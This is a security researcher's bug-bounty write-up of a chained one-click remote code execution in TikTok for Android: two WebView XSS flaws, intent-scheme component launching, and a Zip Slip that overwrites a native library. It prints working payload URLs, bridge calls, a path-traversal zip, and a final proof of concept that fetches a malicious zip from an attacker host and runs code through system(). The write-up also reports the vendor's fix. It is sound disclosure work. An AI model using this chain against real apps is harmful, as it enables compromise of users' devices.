TikTok for Android 1-Click RCE
By: Sayed Abdelhafiz
Tags: Android, Security, Application Security, Bug Hunting, Bug Bounty

TL;DR

While testing TikTok for Android Application, I identified multiple bugs that can be chained to achieve Remote code execution that can be triaged through multiple dangerous attack vectors. In this write-up, we will discuss every bug and chain altogether. I worked on it for about 21-day, a long time. The final exploit was simple. The long time I spent in this exploit got me incredible experience and an important trick that helped me a lot in the exploit. TikTok implemented a fix to address the bugs identified, and it was retested to confirm the resolution.

Bugs

Universal XSS on TikTok WebView Another XSS on AddWikiActivity Start Arbitrary Components Zip Slip in TmaTestActivity RCE!

Universal XSS on TikTok WebView

TikTok uses a specific WebView that can be invoked by deep-link, Inbox Messages. The WebView handle something called falcon links by grabbing it from the internal files instead of fetching it from their server every time the user uses it to increase the performance.

For performance measuring purposes, after finishing loading the page. The following function will get executed:

this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);

The first idea got on my mind is injecting XSS Payload in the URL to escape the function call and execute my malicious code.

I tried the following link https://m.tiktok.com/falcon/?'),alert(1));//

Unfortunately, It didn’t work. I write a Frida script to hook android.webkit.WebView.evaluateJavascript Method to see what happens?

I found the following string is passed to the method:

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))

The payload is getting encoded because It was in the query string segment. So I decided to put the payload in the fragment segment After #

https://m.tiktok.com/falcon/#'),alert(1));// will fire the following line:

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

Now, It’s done! We have Universal XSS in that WebView.

Notice: It’s Universal XSS because that javascript code is fired if the link contains something like: m.tiktok.com/falcon/ .

For example, https://www.google.com/m.tiktok.com/falcon/ will fire this XSS too.

Digging

After find this XSS, I started digging in that WebView to see how It can be harmful.

First, I set up my lab to make it easy for my testing. I have enabled WebViewDebug module to debug the WebView from my dev-tools in google chrome. You find the module here: https://github.com/feix760/WebViewDebugHook

I found that WebView supports the intent scheme. This scheme can make you able to build a customize intent and launch it as an activity. It's helpful to avoid the export setting of the non-exported activities and maximize the testing scope.

Read the following paper for more information about this intent and how to implents: https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

I tried to execute the following javascript code to open com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity Activity:

location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"

But I didn’t notice any effect of executing that javascript. I back to the WebViewClient to see what was happening. And the following code came:

boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();

if((v8.i) && !v0_7) {

v8.i = false;

v4 = true;

}

else {

v4 = v0_7;

}

This code restricts the intent scheme to takes effect unless the user has just clicked anywhere. Bad! I don't prefer 2-click exploits. I saved it in my note and continue my digging trip.

ToutiaoJSBridge, It’s a bridge implemented in the WebView. It has many fruit functions, one of them was openSchema that used to open internal deep-links. There a deep link called aweme://wiki It used to open URLs on AddWikiActivity WebView.

Another XSS on AddWikiActivity

AddWikiActivity Implementing URL validation to make sure that no black URL would be opened in it. But the validation was in http or https schemes only. Because they think that any other scheme is invalid and don't need to validate:

if(!e.b(arg8)) {

com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");

return false;

} public static boolean b(String arg1) {

return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);

}

Pretty cool, If the validation is not on the javascript scheme. We can use that scheme to perform XSS attacks on that WebView too!

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({

"__callback_id": "0",

"func": "openSchema",

"__msg_type": "callback",

"params": {

"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"

},

"JSSDK": "1",

"namespace": "host",

"__iframe_url": "http://iframe.attacker.com/"

}));

<h1>PoC</h1> got printed on the WebView

Start Arbitrary Components

The good news is AddWikiActivity WebView supports the the intent scheme too without any restriction but if disable_app_link parameter was set to false . Easy man!

if the following code got execute in AddWikiActivity The UserFavoritesActivity will get invoked:

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")

Zip Slip in TmaTestActivity

Now, we can open any activity and pass any extras to it. I found an activity called TmaTestActivity in a split package called split_df_miniapp.apk .

Notice: the splits packages don’t attach in the APK. It got downloaded after the first launch of the application by google play core. You can find those package by: adb shell pm path {package_name}

In a nutshell, TmaTestActivity was used to update the SDK by downloading a zip from the internet and extract it.

Uri v5 = Uri.parse(Uri.decode(arg5.toString()));

String v0 = v5.getQueryParameter("action");

if(m.a(v0, "sdkUpdate")) {

m.a(v5, "testUri");

this.updateJssdk(arg4, v5, arg6);

return;

}

To Invoke the update process we have to set action parameter to sdkUpdate .

private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {

String v0 = arg6.getQueryParameter("sdkUpdateVersion");

String v1 = arg6.getQueryParameter("sdkVersion");

String v6 = arg6.getQueryParameter("latestSDKUrl");

SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();

v2.putString("sdk_update_version", v0).apply();

v2.putString("sdk_version", v1).apply();

v2.putString("latest_sdk_url", v6).apply();

DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();

BundleHandlerParam v0_1 = new BundleHandlerParam();

v6_1.setInitialParam(arg5, v0_1);

ResolveDownloadHandler v5 = new ResolveDownloadHandler();

v6_1.setNextHandler(((BaseBundleHandler)v5));

SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();

v5.setNextHandler(((BaseBundleHandler)v6_2));

}

It collects the SDK updating information from the parameters, then invoke DownloadBaseBundleHandler instance, then set the next handler to ResolveDownloadHandler , then SetCurrentProcessBundleVersionHandler

Let’s start with DownloadBaseBundleHandler . It checks sdkUpdateVersion parameter to see if it was newer than the current one or not. We can set the value to 99.99.99 to avoid this check, then starting the download:

public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {

.....

String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);

String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");

.....

if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {

InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);

v10.appendLog("no need update remote basebundle version");

arg15.isIgnoreTask = true;

return arg15;

}

.....

this.startDownload(v9, v10, arg15, v0, v8);

.....

In startDownload Method, I found that:

v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();

v2.b = this.getMd5FromUrl(arg16);

v2.a is the download path. It gets the application context from AppbrandContext and it must have an Instance. Unfortunately, the application didn't init this instance all time. But I told you that I spent 21-day on this exploit, yeah!? It was enough for me to gain extensive knowledge about the application workflow. And yes! I saw somewhere this instance getting inited.

Invoking the preloadMiniApp function through ToutiaoJSBridge was able to init the instance for me! It was easy for me! Digging on every function on this bridge, even It doesn't look helpful for me for the first time, but it became useful in this situation ;).

v2.b is the md5sum of the downloading file. It gets from the filename itself:

private String getMd5FromUrl(String arg3) {

return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));

}

The filename must look like: anything_{md5sum_of_file}.zip because the md5sum will be compared with the file md5sum after downloading:

public void onDownloadSuccess(ad arg11) {

super.onDownloadSuccess(arg11);

File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);

long v6 = this.val$beginDownloadTime.getMillisAfterStart();

if(!v11.exists()) {

this.val$baseBundleEvent.appendLog("remote basebundle download fail");

this.val$param.isLastTaskSuccess = false;

this.val$baseBundleEvent.appendLog("remote basebundle not exist");

InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);

}

else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {

this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");

this.val$param.isLastTaskSuccess = true;

this.val$param.targetZipFile = v11;

InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);

}

else {

this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");

InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);

this.val$param.isLastTaskSuccess = false;

}

After download processing finished, the file gets passed to ResolveDownloadHandler , to unzip It:

public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {

BaseBundleEvent v0 = arg14.baseBundleEvent;

if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {

arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0); public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {

long v10;

boolean v4;

Class v0 = BaseBundleFileManager.class;

synchronized(v0) {

boolean v1 = arg9.exists();

}

if(!v1) {

return 0L;

}

try {

File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);

arg12.appendLog("start unzip" + arg10);

BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9); private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {

try {

arg2.appendLog("unzip" + arg3);

IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);

}

......

} public static void unZipFolder(String arg1, String arg2) throws Exception {

IOUtils.a(new FileInputStream(arg1), arg2, false);

} private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {

ZipInputStream v0 = new ZipInputStream(arg5);

while(true) {

label_2:

ZipEntry v5 = v0.getNextEntry();

if(v5 == null) {

break;

}

String v1 = v5.getName();

if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?

goto label_2;

}

if(v5.isDirectory()) {

new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();

goto label_2;

}

File v5_1 = new File(arg6 + File.separator + v1);

if(!v5_1.getParentFile().exists()) {

v5_1.getParentFile().mkdirs();

}

v5_1.createNewFile();

FileOutputStream v1_1 = new FileOutputStream(v5_1);

byte[] v5_2 = new byte[0x400];

while(true) {

int v3 = v0.read(v5_2);

if(v3 == -1) {

break;

}

v1_1.write(v5_2, 0, v3);

v1_1.flush();

}

v1_1.close();

}

v0.close();

}

In the last method called to unzip the file, there is a check for path traversal, but because arg7 value is false , the check won't happen! Perfect!!

It makes us able to exploit ZIP Slip and overwrite some delicious files.

Time for RCE!

I created a zip file and path traversed the filename to overwrite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so file:

dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

​

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21

p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)

​

Scanning the drive for archives:

1 file, 1930 bytes (2 KiB)

​

Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

​

--

Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

Type = zip

Physical Size = 1930

​

Date Time Attr Size Compressed Name

------------------- ----- ------------ ------------ ------------------------

2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so

------------------- ----- ------------ ------------ ------------------------

2020-11-26 04:08:29 5896 1496 1 files

Now we can overwrite native-libraries with a malicious library to execute our code. It won’t be executed unless the user relaunches the Application. I found a way to reload that library without relaunch by launching com.tt.miniapphost.placeholder.MiniappTabActivity0 Activity.

Final PoC:

document.title = "Loading..";

document.write("<h1>Loading..</h1>");

if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.

window.name = "finished";

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({

"__callback_id": "0",

"func": "preloadMiniApp",

"__msg_type": "callback",

"params": {

"mini_app_url": "https://microapp/"

},

"JSSDK": "1",

"namespace": "host",

"__iframe_url": "http://d.c/"

})); // initialize Mini App

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({

"__callback_id": "0",

"func": "openSchema",

"__msg_type": "callback",

"params": {

"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"

},

"JSSDK": "1",

"namespace": "host",

"__iframe_url": "http://iframe.attacker.com/"

})); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so

setTimeout(function() {

window.ToutiaoJSBridge.invokeMethod(JSON.stringify({

"__callback_id": "0",

"func": "openSchema",

"__msg_type": "callback",

"params": {

"schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"

},

"JSSDK": "1",

"namespace": "host",

"__iframe_url": "http://iframe.attacker.com/"

})); // load the malicious library after overwrtting it.

}, 5000);

}

Malicious library code:

#include <jni.h>

#include <string>

#include <stdlib.h>

​

​

JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {

system("id > /data/data/com.zhiliaoapp.musically/PoC");

return JNI_VERSION_1_6;

}

TikTok Fixing!

TikTok Security implemented an excellent and responsible fix to address those vulnerabilities in a timely manner. The following actions were taken:

The vulnerable XSS code has been deleted. TmaTestActivity has been deleted. Implement restrictions to intent scheme that doesn’t allow an intent for TikTok Application on AddWikiActivity and Main WebViewActivity.

Have a nice day!